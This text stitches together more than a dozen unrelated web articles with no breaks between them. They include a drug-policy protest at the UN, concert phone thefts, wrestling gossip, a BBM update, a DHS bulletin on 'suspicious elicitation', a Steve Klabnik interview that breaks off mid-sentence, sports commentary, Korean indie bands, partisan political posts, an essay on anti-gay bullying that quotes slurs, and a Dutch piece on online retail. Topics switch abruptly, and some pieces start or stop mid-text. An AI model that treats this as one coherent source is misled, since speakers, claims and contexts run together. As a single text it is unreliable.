We couldn't have anticipated the blatant censorship and bureaucratic exclusion that confronted us at New York's UN headquarters. My organization, Law Enforcement Against Prohibition, signed onto an open letter to UN Secretary General Ban Ki-Moon, along with over 1,000 other global leaders, public health experts, law enforcement officials, and human rights advocates including presidential candidates Hillary Clinton and Bernie Sanders; entrepreneur-philanthropists Warren Buffet and Richard Branson; former UN Secretary General Kofi Annan, and countless other dignitaries. Peaceful protestors handed thousands of printed copies of the letter to people entering the UN headquarters yesterday only for UN security to confiscate the letter from anyone entering the building.
In discussions yesterday, I heard from many countries disappointed in the effects of repressive drug policies and the exclusion of harm reduction. Given that, and the sheer volume of support for this letter, censorship of ideas and programs backed by research and documented success came as a huge shock to us.
Their censorship of free speech failed as drug prohibition has failed.
The UN must recognize that they can no longer censor or block the work of civil society organizations that are demanding accountability for the failure of the UN drug conventions. Today, the UN engaged in tactics that aren't even consistent with their own supposed philosophy on free speech. Article 19 in the Universal Declaration of Human Rights states:
Everyone has the right to freedom of opinion and expression; this right includes freedom to hold opinions without interference and to seek, receive and impart information and ideas through any media and regardless of frontiers.
Their censorship of ideas that contradict the drug conventions could signal fear of the inevitable paradigm shift in the way we deal with drugs.
I don't know if the censorship and exclusion were intentional or a serious case of miscommunication, but its effect was that already marginalized voices were once again silenced. Excluding youth from a session about listening to youth voices is more than absurd; it's offensive. The UN owes us all, especially the youth representatives who worked so hard to be here, an explanation.Image copyright West Midlands Police Image caption The phones were found in a trouser leg which was taped at the bottom, police say
A man was found with 38 mobile phones stuffed down his trouser legs at a Libertines concert, police say.
West Midlands Police said the man was spotted at the Barclaycard Arena in Birmingham on Wednesday evening with his trouser legs taped at the bottom.
He and another man, who also had his trouser legs taped have been arrested on suspicion of theft.
Image caption Police said there were reports of similar phone thefts at the Libertines concert in Manchester
Police said there had been reports concert-goers were targeted at the band's performances in Manchester too.
More on this story and other updates from Birmingham
Anyone who thinks they may have had their phone taken on Wednesday should contact police.
The band performed in Manchester on 23 January.Credits WWE.com
While I could tell WWE was aiming for another quickest elimination ever at a Royal Rumble, it has been said Vince is pretty pissed over what happened. Titus O’Neil’s four second elimination was actually planned to be one second, making it the shortest Rumble reign in history. Ambrose and Romans Timing was off by literally a couple of seconds that this did not happen. It has said to have been one of the only spots that was actually planned out way ahead of time and this is why Vince is so angry. WWE was going to give Titus a run that came off this “1 second” elimination but now the storyline has been scrapped.
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Delivered by WWERRWith today’s BBM update we’re incredibly excited to introduce a number of new features that will deliver the best BBM experience yet! At the center of this release are new privacy features that allow customers to take control over the messages and content that they share, so they can communicate with more discretion and freedom than ever before.
We have been testing these features with customers over the last few weeks and the feedback has been incredible. They’re telling us that Timed Messages and Message Retraction add a whole new dynamic to BBM – unlike any other chat app out there today.
Check out this short video we made to help illustrate just how valuable these new features can be! We’ve got a few more videos on the way over the next week to highlight the extreme lengths people will go to regain control over a message.
Here’s a quick overview of what you’ll find in this latest release of BBM:
Timed Messages: Set how long contacts have access to messages and pictures shared in a chat*
Message Retraction: ‘Retract’ a message to remove it from your BBM chat*
A quicker sticker picker: Adding stickers to your BBM chats is now even quicker with a new picker
HD Picture Transfer: It’s easier than ever to get a high quality version of the pictures you receive in BBM
Discover Music: See what music your contacts are listening to in BBM Feeds.
With these new features, now is the time to get your friends on BBM to start enjoying the unmatched level of privacy and control. Timed Messages and Message Retraction features are premium features that will be available free and without restriction over the next three months. After this time, unrestricted access to these features will become part of a broader bundle of features that will be offered as part of a BBM subscription.
It may take 24 hours or more for the update to appear in your app store depending on your mobile platform and region.
*Note: While these features are designed to remove the message or picture from the recipient’s BBM chat view, they do not prevent recipients from capturing an image of the content by taking a screenshot or using an image capture device. Retracting a message after it has been read by the recipient will remove the message from the BBM chat view, but will not affect copies of the message that the recipient may have made prior to the message being retracted.In today's Washington Post online Q&A, Post reporter Ed O'Keefe offered a series of remarkable defenses of Fox News, like his suggestion that Fox wasn't really guilty of "promotion" of the "tea parties," they were providing "balanced" reporting. But this may be the most remarkable:
There is no objective news on Fox: Just by deciding to air some stories and ignoring others, Fox is political thru and thru. I remember the day Scooter Libby was convicted. Every news channel was reporting the story; on Fox, nothing... Ed O'Keefe: Right, but couldn't critics argue that CNN and MSNBC devoting so much time to the Libby conviction was an equally political decision? This is the silliness of this type of debate... all of these channels serve the marketplace of ideas. It's up to you to pick your brand. [All ellipses in original]
Wow. Ed O'Keefe, a political reporter for the Washington Post, really thinks those two arguments are equivalent? That the claim that the conviction of the Vice President's chief of staff as part of an investigation that involved, among others, Karl Rove, should not have been covered is just as reasonable as the statement that the arrest should have been covered?
That's just astounding.Public Intelligence
The Department of Homeland Security and Federal Bureau of Investigation are warning business owners and law enforcement personnel around the country to be on the look out for terrorists and criminals asking too many questions. In a bulletin from last February, DHS and FBI warn that terrorists and criminals can exhibit the highly suspicious behavior of asking “pertinent, intrusive or probing questions” about security and operations at sensitive facilities. According to the document, terrorists or criminals “may attempt to identify critical infrastructure vulnerabilities by eliciting information pertaining to operational and security procedures from security personnel, facility employees or their associates” and that this type of questioning by individuals “with no apparent need for the information” can provide an “early warning of a potential attack.”
What kind of questions go beyond simple conversation to full-fledged terrorist elicitation of information? To illustrate the concept of “suspicious elicitation,” the bulletin includes examples of two incidents taken from actual suspicious activity reports provided under the Nationwide Suspicious Activity Reporting Initiative. In one incident, a man working at a gas station asked a worker from a nearby chemical plant “what types of chemicals were used at the plant, whether any were explosive, and whether employees were allowed to take chemicals home.” The gas station employee then asked about the explosiveness of certain chemicals and whether the plant was hiring. In another incident, a man asked a security officer at a train station about shift times and changes, where the security company was located and if security personnel worked after midnight. The man also asked about security cameras at the location and asked for contact information for the security company.
DHS and FBI also include a helpful list of possible indicators of “suspicious elicitation” including “persons without a need to know seeking knowledge about evacuation procedures, response times and routes, and procedures used by emergency response personnel.” Recipients of the bulletin are encouraged to report information on people asking about “policies or procedures that would provide insight into a facility’s operations.” The bulletin defines the suspicious activity of “eliciting information” as “questioning individuals at a level beyond mere curiosity about particular facets of a facility’s or a building’s purpose, operations, security procedures, etc. that would arouse suspicion in a reasonable person.”
Another joint DHS-FBI bulletin from May of this year warns of similar attempts at “eliciting information” by criminals or terrorists. The bulletin encourages theater owners and organizers of mass gatherings to report individuals who ask about security procedures or “evacuation procedures.”
Share this:Programming for Programmers
When Steve Klabnik walks onto the back patio of Fritzl’s Lunch Box in Bushwick to join Tyler, Gregg, and me around a rickety table, it’s as if we already know each other. In a way, some of us do — the way you can know somebody from the Internet. But Steve also carries himself with welcoming assurance. He’s wearing his typical outfit: a black hoodie and skinny black jeans. The mohawk that used to get him confused with Skrillex is gone. He sits down resolutely, responding to Twitter with one hand, ready to be bombarded by questions both from us and his followers.
Steve is one of the world’s leading Ruby on Rails committers. Last year, he made over 1400 public contributions (“Wow, I’ve been slacking off, it used to be 2300”) and is the 200th most active GitHub user. He has built numerous Ruby Gems, and works as an educator for several projects. He taught programming at Jumspstart Lab. He’s spoken at countless conferences around the world, and recently started working for Mozilla to produce documentation and the original tutorial for the less-known programming language Rust.
Ruby on Rails, or Rails for short, is an open source web application framework which runs on the Ruby programming language. If you’ve visited Basecamp, Hulu, Scribd, Slideshare, Funny or Die, GitHub, or Twitter in the early days, you’ve used web applications built with Rails. The software that powers Mask Magazine is also built with Rails.
Besides being a prolific programmer, Steve is an outspoken anti-capitalist and Deleuzian who reads lots of philosophy. For example, he published the text “Deleuze for Developers”. Yesterday, he launched a new blog exploring the intersection between philosophy and technology: metaphysics.io.
Being a public figure in the tech world and advancing a public political agenda is uncommon among most programmers, so it’s not surprising he often finds himself in heated Twitter arguments. Accordingly, while we order food, Steve’s phone lights up over and over with notifications.
What’s today’s Twitter controversy?
I’m caught up in this argument on Twitter with a bunch of people. It’s about whether you need to study theory to become a programmer. People only see the first half of the problem. Yes, you don’t need to study theory to become a programmer, that’s not what I’m talking about. To make a terrible analogy: nobody expects plumbers to have a physics degree but they do have to know some things about water physics, and that can be learned in a way that doesn’t necessarily involve getting a physics degree. And that is super cool, totally valid, and not a problem. But that doesn’t mean that physics degrees are bullshit or not useful to plumbers.
How do you like Brooklyn?
Brooklyn is amazing and wonderful. New York City in general is. I’ve learned that I need variety, and you can definitely find that here. It’s kind of a country of it’s own. At some point, Bloomberg said that if the NYPD was an army, it would be the 7th largest army in the world. [Turns out it wasn’t true,] but in a certain sense, that’s the scale of New York — it’s massive.
I often pick a new neighborhood and just go to work out of different coffeeshops or parks. I realized they don’t turn off free wifi when the stores close so I’ve sat outside of Macy’s on 34th St at like 4:30 AM programming away, because why not?
Steve is originally from Pittsburgh, PA, and admits that, technically, he started coding at age 7. But he doesn’t really want to talk about that.
I kind of shy away from that fact because it perpetuates this bad stereotype. There’s this weird fetishization of young people who are good at programming and who end up being programmers. The programming I did from age 7 to 22 is worth the same amount of time as the programming I did from 22 to 24. One year during that time period isn’t qualitatively the same as one year of time in my adult life. I know a lot of people who started writing code in college who are really good programmers.
How did you become interested in philosophy and anti-capitalist theory?
I’ve always enjoyed intellectual stuff and been a theory-inflected person. But I started taking that more seriously when several personal events in my life eventually led to me being an anti-capitalist. My anti-capitalism is intrinsically tied to my interest in theory.
I was raised republican and Catholic and never thought critically about it. I like to joke that libertarians are republicans who met a gay person they actually liked. I became a libertarian in college when I made some gay friends.
I also almost married this girl I went to high school with and she left me for someone in World of Warcraft. At that point I decided that I needed to reevaluate my life. Laughs. When I came to think about it, I realized that I’d only ever assumed that all these things I thought of the world were true, because they were told to me and I never bothered to question them. So I decided to be a hard core libertarian.
The very first instance that led to me to becoming an anti-capitalist was that I was reading some stuff and had this epiphany. I thought, the fundamental problem of the world is definitely the accumulation of wealth; that’s totally a problem, and libertarians should figure out how to fix that. I didn’t really understand what a big idea that was. I'd never read any Marx or anything like that. I was totally ignorant but semi-independently I decided that that was the problem.
Our grilled cheese sandwiches arrive.
So then the G20 came to Pittsburgh, and I went to it. I didn’t really know what the G20 was, but the fact that people felt the need to fight cops over it meant that it was probably a big deal. As a libertarian, I vaguely didn’t like the cops already. Because I’m a nerd, I dressed like this.
Steve points at his clothes. All black.
I had no idea that the black bloc was a thing, and I showed up to a G20 event dressed for the black bloc. Little idiot me.
Did the other kids recognize you as a friend?
Yeah, kind of. On the second day, an illegal march happened. I showed up and saw a bunch of college kids gathering. I watched as the cops started lining up on one side of the park, then I watched them line up on the other side of the park, and I realized it was getting bad. Suddenly I get a tap on the shoulder, and these four women from the bloc were standing there: “Hey, where’s everyone at?” I thought: me?! I don’t know anything! I was looking for all of you! They were like, “This is bad, we gotta get out of there.” So we left, but a bunch of other kids got arrested.
I ended up being one of the first American citizens to have a sound canon aimed at me. The first time they used it outside of Iraq was on me. And tear gas, and rubber bullets, and all those other things.
At the time, I didn’t really agree with all the people waving their anti-capitalism flags, but I had never really considered capitalism to be anything but ‘the way the world works’. These people cared about this enough to get shot at by cops. I figured I should probably try to understand their arguments — even if I disagreed with them — just to make sure that I understood why they cared so much.
I was also into ‘citizen journalism’ at the time. So I was tweeting about where stuff was going on — reporting from the ‘citizen’s perspective’, or whatever. I ended up befriending this English professor who was also active on Twitter at the time. This was in 2009 — Twitter was a lot smaller then.
I ended up meeting up with her, and she always managed to recognize when I was saying something... ‘pro-capitalist’. Instead of telling me to get out, she was like: “Why don’t we read the books together?”
Were you in college then?
I dropped out of college, actually. I ended up finishing my undergrad later, but I would have been a senior in college at the time. I dropped out to launch a startup, that’s what I was doing.
So the English professor told me, “Here’s what we’re gonna read: Nietzsche, Foucault, and Marx.” So I stumbled through all of those. Eventually I |
10, 12-point lead to start then you're on the back foot straight away and you've got even more pressure on you. We just need to focus on that big start straight away and kick on."
Like Greenwood, utility Karl Lawton has been coming onto the field with his team well behind on the scoreboard with the Titans giving up leads of 28, 10, 12 and 10 points in their opening month of football.
In three of those games they have fought back to actually take the lead and Lawton has no doubt that if they can take control of the fixture early that they can score points on any team in the competition.
"We've been talking about it and it's something that we do need to change," Lawton said.
"It's just the errors, a couple of little dropped balls. It's just what happens in the game and you can't really control it too much. If a ball gets knocked out it's out of your hands.
"As soon as we do get the ball we kill it. The halves take control and everyone knows their job and we seem to do the right thing with the ball."
With a lack of possession early additional pressure is being placed on the Titans' defence late in each half and they have continued to leak points in those periods.
Almost half of the 19 tries they have conceded this season have come in the final 10 minutes of each half as they try to fight their way back into the contest.
The Warriors have made 13 errors but conceded only five penalties in the first quarters of their matches this year and Titans coach Neil Henry knows just how vital it is to win the opening exchanges on Sunday.
"We need to get over there and put a bit of doubt in their mind," said Henry of a Warriors team who have lost their past three on the trot.
"They're coming off the back of a couple of losses as well and it's a fairly crucial match for both teams really. Both one from four and it will be tough over there and we certainly don't want to give them possession.
"You need to control your possession, it doesn't matter who you're playing.
"We practise for that, we've talked about it, we haven't been able to execute it so far this season for whatever reason, either an early penalty or an early error.
"We didn't have it for eight sets there at one stage [against the Cowboys] but we still need to be good enough to weather that and not concede two late tries in the first half when we hit the front.
"It certainly taxes our starting 13 if we haven't got the ball early."
James found not guilty at judiciary
Paasi joins Titans casualty ward
NRL Fantasy podcast: Round 5
Official NRL team lists: Round 5
Grevsmuhl ready to reignite NRL career
The Florida Panthers made another bold move last week by trading AHL players with the Edmonton Oilers. I wonder what bright light lit up inside Dale Tallon’s mind when he looked at the Panthers atrocious power play and lack of offensive fire-power and then decided to trade Steve Pinizzotto and Jack Combs for Ryan Martindale and Derek Nesbitt.
Okay, okay, i’m just kidding. I know Tallon is just trying to make sure our boys coming up through the AHL aren’t playing on a losing team, and we got some pretty good players in return. But the Panthers need work.
And with Tallon recently pouring a few nourishing words into Panthers fans starving ears upon his announcement to the media that Vinnie Viola had given the green light to spend to the ceiling cap, I think every Florida Panther fans heart fluttered with excitement when they first heard there was a trade. Unfortunately, the trade hasn’t had any foreseeable impact on the Florida Panthers roster, nor is it the kind of blockbuster trade that should turn the San Antonio Rampage into perennial contenders.
It’s hard to tell if this trade addresses a problem or reveals a bigger problem; has Dale Tallon assembled a Florida Panthers roster full of players that have no trade value? Looking back to earlier in the season, he essentially had to pay the Blackhawks to take half of Versteeg’s contract even though he received two NHL hockey players in return. The fact that two NHL hockey players in exchange for Kris Versteeg alone wasn’t deemed a fair enough trade frightens me when I think of how much we’d have to pay to trade a guy like Tom Gilbert.
I understand that trading players we had to suck for an entire season to get via the draft is not the solution to rebuilding a franchise, but surely Tallon should be able to find trade value for people like Shawn Matthias, Krys Barch, and Tomas Fleischmann. And if he can’t find any teams willing to put these players on their team, maybe that’s sheds a little bit of light on why we are a losing franchise.
I know Dale Tallon might deem it wise to wait until the trade deadline to make any moves so he can get more value from teams looking for that extra boost in the postseason, but Panthers fans deserve more than what we are getting out of the team right now and making us wait until we miss the playoffs is absolutely preposterous when we’re playing the way we are.
If we judge Tallon – and the rest of the gang that thought Club Red was a good idea – based on their actions instead of their words, the message that Dale Tallon and the Florida Panthers organization is sending to the Panthers fan base is clear: “You are investing your time and energy in a defective product and you’ll have to wait a long time before we fix it.”
When’s the last time that was ever an appropriate way to treat your customers disenchanted by bad service anyway? Where else in the world could you go where that is an appropriate response to low quality performance? Can you imagine receiving a defective meal from a restaurant and yet still returning again and again after the manager tells you that “you are investing your time and energy in a defective product and you’ll have to wait a long time before we fix it” in hopes that one day your meal will taste like a meal from a five star restaurant?
This actually sounds a lot like the definition of insanity: doing the same thing over and over again and expecting different results.
Unfortunately for me, that loud and resounding message is clearly not enough to keep me away from paying attention to the Panthers squad in my free time. Even though we are one of the regular bottom feeders of the NHL, I really, really hope that Dale Tallon can reward us with a free dessert a high scoring power forward down the road for making us put up with the worst power play in the league and another year of mediocrity.
AdvertisementsWhen South Korean singer Psy brought K-pop into the American consciousness in 2012 with the polarizing and infinitely viewable "Gangnam Style," he also paved the way for other Korean acts to be heard on an international level. Over the two years since his debut, K-pop has exploded in America. Just last month, KCON, a K-pop festival in Los Angeles that began in 2012, was attended by over 40,000, a testament to the growth and staying power of a genre relatively new to American ears.
While Psy's reign of delight or terror (depending on who you talk to) has come to an end, songs like BIGBANG's "Fantastic Baby," the video for which has over 100 million YouTube views, prove that K-pop is more than a passing fad.
But there's an unfortunate side effect to the genre's popularity: America is only acknowledging the poppiest, most corporate side of Korea's musical output when, in reality, the country has so much more to offer.
Here are 10 indie and rock bands from Korea who show the wide range of offerings available in the country's musical landscape:
1. Goonam
This four-piece indie rock group is as eccentric as their (full) title would suggest: Goonamguayeoridingstella, the long version of their mercifully shortened name, supposedly is an abbreviated version of "geriatric Korean swingers scandalously joyriding in an old-school Hyundai sedan," according to South By Southwest's website. They played the festival in 2013 and gave Texas a taste of songs like "Blood," a psychedelic number that's similar to "Gangnam Style" only in its surreality.
2. Jeong Cha Sik
After fronting the band Rainy Sun in the '90s, Jeong, who also played SXSW in 2013, has parlayed that gig into a fruitful solo career in which he is essentially a Korean Tom Waits. He incorporates an array of disparate influences into an initially tough-to-stomach package that rewards patient and open-minded listening.
3. Eloise
Eloise singer Sun Jun Pyo is without a doubt the Korean doppelgänger for Strokes frontman Julian Casablancas. The band isn't that far off from The Strokes instrumentally, either, and would probably thrive like their American counterparts if speaking English weren't such a necessary part of singing disaffectedly about matters of class and love in New York.
4. Yozoh
This multi-talented pop-folk singer is a triple threat: She's a folk singer, a pop singer and a killer actress. She manages a captivating minimalism — her song, whose title translates to "Miss the old days," features only Yozoh's gentle vocals for nearly a minute before a light acoustic guitar backing comes in. Just these two factors convey a sense of loss or yearning that even an audience that can't speak Korean would understand.
5. Electricity Flowing
Falling somewhere between house music, The Postal Service and a more excited Royksopp, Electricity Flowing is an exceptional indie-electro act that utilizes K-pop sensibilities without sounding unabashedly mainstream. Their midtempo compositions have both the excitement of a club banger and the ambient sonic intricacy that rewards headphone listeners.
6. Rainbow99
Speaking of ambient, Rainbow99's chilled out instrumental trip-hop comes off as a just-uncovered collaboration between Brian Eno and Sound Tribe Sector 9. This is comfortingly hypnotic music.
7. Purple Haze
Purple Haze's sound employs a fusion of many American styles, like jazz, R&B and psychedelic rock. Their song "No Abuse," for example, is a cornucopia of different ideas and motives, but the group manages to keep the track clutter-free and moving in a singular awesome direction.
8. ookoorookoo
This fun-to-say outfit brings to airy electronica to a light post-rock sound (think Explosions in the Sky). They manage an inspiring and huge sound with playful '80s elements.
9. Coffee Boy
This singer-songwriter's wispy, comforting voice sits nicely atop a primarily acoustic, bossa nova-influenced backdrop. It's easy to listen to, but it's certainly not easy listening. This is perfect atmospheric music for an ideal, tranquil moment.
1 0. Zzyzx Project
Zzyzx Project, pronounced "ji-jiks project," can get a ridiculous amount done with just vocals and an acoustic guitar. The dexterity of the lead singer's voice is one of the pair's strongest attributes — with small fluctuations, he shifts from emotional folk-style singing to an almost Middle Eastern warbling vibrato, all with a pressing authenticity.This 30-year instructor used her personal beliefs and warped convictions to spew hate toward President Donald Trump and conservatives during her classroom session at Orange Coast College.
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I listened to both videos, and we hear all the time about how liberals use the modern day classroom to indoctrinate our kids with hate and disdain for conservative values, but we rarely see it on display as you will notice in the videos below.
Olga Cox stood in front of her class and went totally crazy with her “world is coming to an end” monologue. Caleb O’Neil was the student who captured his teacher ranting. His consequence? He was just suspended by the college for recording conversation without consent.
From OC Register:
In a video clip recorded by a student, a psychology instructor at Orange Coast College told her class that the election of Donald Trump was “an act of terrorism” – prompting an official complaint from the school’s Republican Club. Olga Perez Stable Cox told students in her popular human sexuality class shortly after the election: “We have been assaulted.” “One of the most frightening things for me, and most people in my life, is that the people who are leading the assault are among us,” said the instructor who is in her 30th year at the college. “It is not some stranger from some other country coming in and attacking our sense of what it means to be an American and the things that we stand for. And that makes it more painful. … “We are way beyond Republicans and Democrats, and we’re really back to being (in) a civil war – and I don’t mean it in a fighting way, but our nation is divided as clearly as it was in Civil War times,” she told the students. “And my hope is that we will get some good leadership to help us to overcome that.”
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The student was suspended for his role in recording the teacher’s act of terrorism/propaganda toward her students. Many of you will say that the student was just in recording what was going on and while that might be partly true, the school will use their guidelines of no cell phones or taping someone when they were unaware as justification for the suspension.
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Don’t forget to follow the Wayne Dupree Show social media accounts on Facebook, Google Plus & Twitter.Gay Men Should Understand Bathroom Terror
James Rowe, like many boys who grew up to be gay or bi, remembers bathrooms and locker rooms as places of fear. The one positive from those experiences — more empathy for the trans plight.
I remember being called “faggot” as long as I think I’ve been able to understand English. Years before I would even know what that word meant, I would hear it on what felt like a daily basis. On my way to school, at school and then again on my way home — “faggot, faggot, faggot!”
Most often the look in the eyes of people who called me that word was one of hate.
I couldn’t understand what I was doing at just 6, 7, and 8 years old that could make people hate me so much. At first I would tell my mom that people were picking on me, but eventually the shame was too embarrassing to talk about, and I kept most of my feelings about the hurt inside.
Unfortunately, the name-calling continued, and the fear inside grew as I grew.
In fifth grade, my teacher began to use female pronouns to talk about me to my classmates. That was the moment I realized I wasn’t safe around other students and was no longer safe from my teachers, either.
But it was what happened to me in seventh grade that would probably have the greatest impact on my adult life. One day after gym class when we were getting changed in the locker room, the name-calling escalated to violence when four of my classmates took my legs and arms, carrying me into a bathroom stall and shoving my face into the toilet. If only my adult self had been there to protect me.
From that moment on, I was terrified to use a public restroom or locker room. I did what I could to avoid using the locker room and refused to use the bathroom until I got home from school. It’s amazing what you can force your body to do when you’re afraid for your life.
I managed to skip gym class from 10th grade to almost all of 12th grade without getting caught, which provided a little relief. But my fear of the locker room was only replaced by my fear of getting caught not going to gym class.
After high school I had hoped things would be different. I imagined a life where I would never have to be afraid again like I was when I was young.
I came out as gay at 18 and tried to ignore the fear that coming out meant all those name-callers were right all along. I began to finally embrace, or tried to at least, who I really was.
I was accepted into a performing arts college and was excited about the possibilities of an education that didn’t involve fear — it was a performing arts college, after all. But that was short-lived, since the first thing my college roommate said to me when we met was “You’re not a faggot, are you?”
For years I believed that I was called “faggot” because people could tell I was gay long before I even knew. But the reality is, people were calling me hurtful words not because I was gay, but because of how I expressed my gender as a male child, and then as a male adult.
I also believe I subconsciously became aware of this, and over time I altered behaviors that didn’t conform to society’s expectations of my gender. I learned to become, as best I could, the masculine person society expected me to be.
My biggest takeaway from years of “correcting” my gender expression is this — as a man myself, I get to define what that means to me. I don’t now nor have I ever needed anyone, be they family, friends, teachers, roommates, clergy, or strangers, to define for me what it means to be a man.
And for me, being a man means standing up for what is right and speaking out against discrimination against all my siblings — especially those who have been most marginalized both inside and outside the LGBTQI community.
So today I make this pledge: to stand firmly in solidarity with all of my transgender and gender-nonconforming siblings as we battle laws across the country that seek to harm and humiliate an already vulnerable community through lies and fear.
And to all lawmakers across the country who are working non-stop to create anti-LGBTQI laws that will perpetuate the fear I’ve carried for a lifetime — I can’t help but wonder.
Are you the same people that called me “faggot” every day?
Are any of you the same people that grabbed my arms and legs decades ago and forced my head into a toilet? If you’re not, then I hope you’ll take this moment to realize that what you’re trying to do is actually spreading the very same hate I lived with every day for decades.
I know what it’s like to be afraid in a public restroom, and I don’t want anyone to have to live with the same fears that I have experienced throughout my life. That’s how I know these transphobic bathroom bills are so harmful.
Empowering the bullies in this country both young and old with anti-LGBTQI legislation has offered me and countless others a lifetime of fear and shame and that must once and for all stop now. Everyone deserves to live a life with dignity — and bathroom bills across the country are denying LGBTQI people that basic human right.
It’s time to stop defending the bullies and start defending the bullied. We’ve waited long enough! I know I have.
JAMES ROWE is the director of Believe Out Loud, the leading platform for LGBTQ-affirming Christianity. Rowe is a seasoned event planner and has led development and volunteer programs within interfaith and LGBT equality institutions including the Tanenbaum Center for Interreligious Understanding and the Hetrick-Martin Institute, which advocates for LGBTQ youth. Based in New York City, James is a student of American Sign Language and serves as both a board member and sign language interpreter for the historic Anna Crusis Women’s Choir, the longest-running women’s choir in the United States.As we reported earlier today, Super Smash Bros for Wii U has finally been given a firm release date. Nintendo also announced two bundles that will be available at the game’s launch, as well as some more details regarding their line of Amiibo figurines.
The first bundle features Super Smash Bros for Wii U itself – of course – and the GameCube Controller Adapter, allowing the die hard Super Smash Bros. Melee players to use their favoured joypad. It will also be a great way to save money for those with lots of GameCube controllers as they won’t be forced to buy new Wii U Pro Controllers for their next Smashing party.
For those without their own GameCube controller, a Super Smash Bros Edition will also be launching alongside the game.
The second bundle comes with an Amiibo: Nintendo’s entry into the toys-to-life market currently led by Skylanders and Disney Infinity, though Nintendo’s offering will have functionality with multiple games and store data. In the case of Super Smash Bros, Amiibo will store stats and abilities for an AI-controlled character in-game, allowing players to challenge their friends with their carefully crafted fighter. This bundle, available at launch, comes with a Mario Amiibo.
Speaking of Amiibo, Nintendo took this opportunity to announce a few more details concerning their release. The initial batch of figurines featuring Mario, Peach, Yoshi, Donkey Kong, Link, Fox, Samus, Wii Fit Trainer, Villager, Pikachu, Kirby, and Marth, will be available for purchase alongside Super Smash Bros. for Wii U at launch in North America. Europe will be able to pick them up slightly ahead of the game’s release, however, on the 28th of November.
Finally, Nintendo have also unveiled the second wave of Amiibo, due out on the 19th of December in Europe, while North America only has the vague window of “December” to go on for now. This follow-up batch will include Zelda, Pit, Diddy Kong, Captain Falcon, Luigi, and Little Mac.
Share Have a tip for us? Awesome! Shoot us an email at [email protected] and we'll take a look!An unidentified San Francisco homeowner flew a Nazi flag over his house after Donald Trump was declared President-Elect, according to SFist, who received a tip about the flag.
The act of political commentary didn't go over well with the neighbors.
In a video taken by SF Chronicle reporter Michael Bodley and posted on Twitter, the homeowner explained to a neighbor that it was a "comment on our new president elect." He compared Trump to Il Duce, the Italian dictator Benito Mussolini, "but the Italians did not have as good of a flag."
The flag was supposed to be a political statement about life in the Donald Trump era, but neighbors weren't fond to see the Nazi flag, even if the homeowner claimed to detest Trump.
After the confrontation, the man went inside and changed the flag. Now there's a rainbow peace symbol flying high instead.Pause Current Time 0:01 / Duration Time 0:04 Remaining Time -0:03 Stream Type LIVE Loaded : 0% Progress : 0% 0:01 Fullscreen 00:00 Mute Playback Rate 1 Subtitles subtitles off Captions captions off Chapters Chapters De Zalando-zeepbel
“Eén op de drie winkels zal de komende vier jaar verdwijnen. De onderkant en de bovenkant van de markt draaien goed. De rest zit in de gevarenzone.”
Cor Molenaar, hoogleraar e-marketing aan de Erasmus Universiteit van Rotterdam, was er in 2012 rotsvast van overtuigd. We stonden aan de vooravond van grote ontwrichting in de Nederlandse winkelstraten. De leegstand die we in onze stads- en andere winkelcentra zagen was nog niks bij wat ons te wachten stond. De 2 miljoen vierkante meter aan lege winkelvloeren zou niet verdubbelen, niet verdrievoudigen, maar exploderen naar 8 miljoen leegstaande meters! Om een beeld te krijgen: dat staat gelijk aan bijna tweeduizend lege V&D-panden. Tienduizenden winkels, zo was Molenaars boodschap kort gezegd, hadden hun langste tijd wel gehad.
Wie Molenaars uitspraken uit 2012 nu terugleest denkt dat hij een voorspellende gave heeft. Schoenenreus, Halfords, DA, Manfield, HoutBrox, Miss Etam, Perry Sport, Invito, Free Record Shop, Mexx, Dolcis en als klap op de vuurpijl V&D. De winkelketens vielen de afgelopen jaren bij bosjes om. Sommigen maakten een doorstart, maar daar tegenover staan weer net zo veel geruchten over mogelijk nieuwe slachtoffers. Xenos, Hema, Blokker? Ze gaan failliet, zo beweren retailkenners, omdat ze geen goede ‘online strategie’ hebben, of simpelweg niet op kunnen tegen de webshops.
Het zijn immers online reuzen als Amazon en Zalando, of in Nederland Bol.com en Wehkamp die meer en meer ons koopgedrag bepalen. Zij bieden wat de consument wil: thuis op de bank, op ieder willekeurig moment, het gewenste product bestellen. ’s Avonds besteld, de volgende dag in huis. Gratis. En niet goed, kosteloos retour. Of geruild tegen een maatje groter. Het web wint het van de winkelstraat. Althans, zo wordt het ons voorgespiegeld. Maar is dat wel zo?
‘Nederlanders shoppen meer online’. Het is het persbericht dat brancheorganisatie Thuiswinkel.org ieder jaar weer opnieuw van stal kan halen. In 2015 shopten consumenten voor 16 miljard op het web. Bijna twintig procent van alle producten die we kopen, kopen we online, aldus Thuiswinkel.org. Maar volgens Hans van Tellingen van onderzoeks- en adviesbureau Strabo ligt het daadwerkelijke percentage veel lager. De brancheorganisatie van de webwinkels telt voor haar berekening immers het aantal online gekochte producten én diensten (tickets, verzekeringen, vakanties, maaltijdbezorging) bij elkaar op, om dat te delen door alleen de totale detailhandelsverkopen, zónder diensten dus. Van Tellingen maakte een nieuwe, gecorrigeerde berekening en stelde vast dat de daadwerkelijke online retailomzet amper boven de 5 procent uitkomt. Thuiswinkel.org heeft zijn rekenmethode inmiddels aangepast na de kritiek van Van Tellingen, die in zijn net verschenen boek ‘#Watnoueindevanwinkels’ nog meer retailmythes doorprikt. Zijn stellige overtuiging: winkels hebben de toekomst. Sterker nog, hij voorspelt dat de branche “de grootste bloeiperiode in decennia” tegemoet gaat.
‘Hosanna’-verhalen van de ‘internetkerk’ noemt Van Tellingen de succesverhalen rond webshops. Die jubelstemming wordt verstrekt door de enorme groei die de grote internetwinkels doormaken. Omzetgroei. Zo rapporteerde Bol.com vorig jaar 900 miljoen euro omzet, meer dan een verdubbeling ten opzichte van 2012, toen Ahold de webshop overnam.
Dit jaar moet de omzet voor het eerst boven het miljard uitkomen. Coolblue maakt een even stormachtige ontwikkeling door. In 2015 groeide de omzet met maar liefst 54 procent naar ruim een half miljard. CEO Pieter Zwart is nog lang niet tevreden. Ook hij wil zo snel mogelijk naar de negen nullen. De online schoenengigant Zalando heeft die barrière al lang doorbroken: vorig jaar boekte het Duitse bedrijf 3 miljard omzet. Kruimels in vergelijking tot de echte webwinkel-grootmacht, Amazon. Dat doorbrak vorig jaar de magische grens van 100 miljard dollar aan omzet.
